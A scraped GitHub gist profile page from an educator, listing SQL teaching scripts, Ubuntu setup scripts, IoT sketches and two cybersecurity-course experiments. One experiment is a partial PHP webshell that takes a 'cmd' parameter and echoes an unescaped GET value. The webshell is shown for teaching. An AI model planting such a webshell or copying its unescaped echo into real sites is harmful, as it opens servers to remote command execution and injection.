Skip to content

Instantly share code, notes, and snippets.

View josejuansanchez's full-sized avatar

José Juan Sánchez josejuansanchez

View GitHub Profile
apiVersion: apps/v1
kind: Deployment
metadata:
name: deployment-webserver
labels:
app: php-apache
spec:
replicas: 1
selector:
matchLabels:
@josejuansanchez
josejuansanchez / universidad_b.sql
Last active June 20, 2025 09:47
Script SQL para crear la base de datos `universidad` (Tipo B) utilizada en los ejercicios de clase. http://josejuansanchez.org/bd/
DROP DATABASE IF EXISTS universidad;
CREATE DATABASE universidad CHARACTER SET utf8mb4;
USE universidad;
CREATE TABLE departamento (
id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR(50) NOT NULL
);
CREATE TABLE alumno (
@josejuansanchez
josejuansanchez / educandos.sh
Last active November 23, 2020 11:04
Actualización de educandos
#!/bin/bash
set -x
# Descargamos el archivo sources.list para Ubuntu 20.04
cd /etc/apt/sources.list.d/
rm ubuntu.list
wget https://gist.githubusercontent.com/josejuansanchez/f8c08133b6be6f4a98165210ff9cadf2/raw/e8883e8dc473fc6896a64907615f4b445f2db2e4/ubuntu.list
# Eliminamos el archivo de guadalinexedusc.list
rm /etc/apt/sources.list.d/guadalinexedusc.list
@josejuansanchez
josejuansanchez / installBook.sh
Last active November 18, 2020 23:25
Instalación del libro digital 'GENERATION 1 Manuel Interactif' en Ubuntu 20.04
#!/bin/bash
set -x
# Habilitamos el uso de la arquitectura i386
sudo dpkg --add-architecture i386
sudo apt update
# Instalamos los paquetes
sudo apt install lib32z1 -y
sudo apt install libx11-6:i386 -y
@josejuansanchez
josejuansanchez / phpinfo.php
Created October 22, 2020 20:19
Experimento para el curso de Ciberseguridad
<?php
phpinfo();
?>
@josejuansanchez
josejuansanchez / webshell.php
Last active October 22, 2020 20:53
Experimento para el curso de Ciberseguridad
<form method="get" action="">
<input type="hidden" name="page" id="page" value="<?php echo $_GET['page']; ?>">
<input type="text" name="cmd" id="cmd" size="80">
<input type="submit" value="Ejecutar">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@josejuansanchez
josejuansanchez / sakila-es-data.sql
Last active January 21, 2024 18:19
Datos de la base de datos Sakila creada por Mike Hillyers, con los nombres de las tablas y columnas en español.
This file has been truncated, but you can view the full file.
-- Sakila Sample Database Schema
-- Version 1.0
-- Copyright (c) 2006, 2015, Oracle and/or its affiliates.
-- All rights reserved.
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
-- * Redistributions of source code must retain the above copyright notice,
@josejuansanchez
josejuansanchez / sakila-es-schema.sql
Created April 13, 2020 10:57
Esquema de la base de datos Sakila creada por Mike Hillyers, con los nombres de las tablas y columnas en español.
-- Sakila Sample Database Schema
-- Version 1.0
-- Copyright (c) 2006, 2015, Oracle and/or its affiliates.
-- All rights reserved.
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
-- * Redistributions of source code must retain the above copyright notice,
#include <OneWire.h>
#include <ESP8266WiFi.h>
#include "Adafruit_MQTT.h"
#include "Adafruit_MQTT_Client.h"
//---
OneWire ds(4);
byte type_s;
byte data[12];
#include "DHT.h"
#include <OneWire.h>
#include <ESP8266WiFi.h>
#include "Adafruit_MQTT.h"
#include "Adafruit_MQTT_Client.h"
#define DHTPIN D4
#define DHTTYPE DHT11
DHT dht(DHTPIN, DHTTYPE);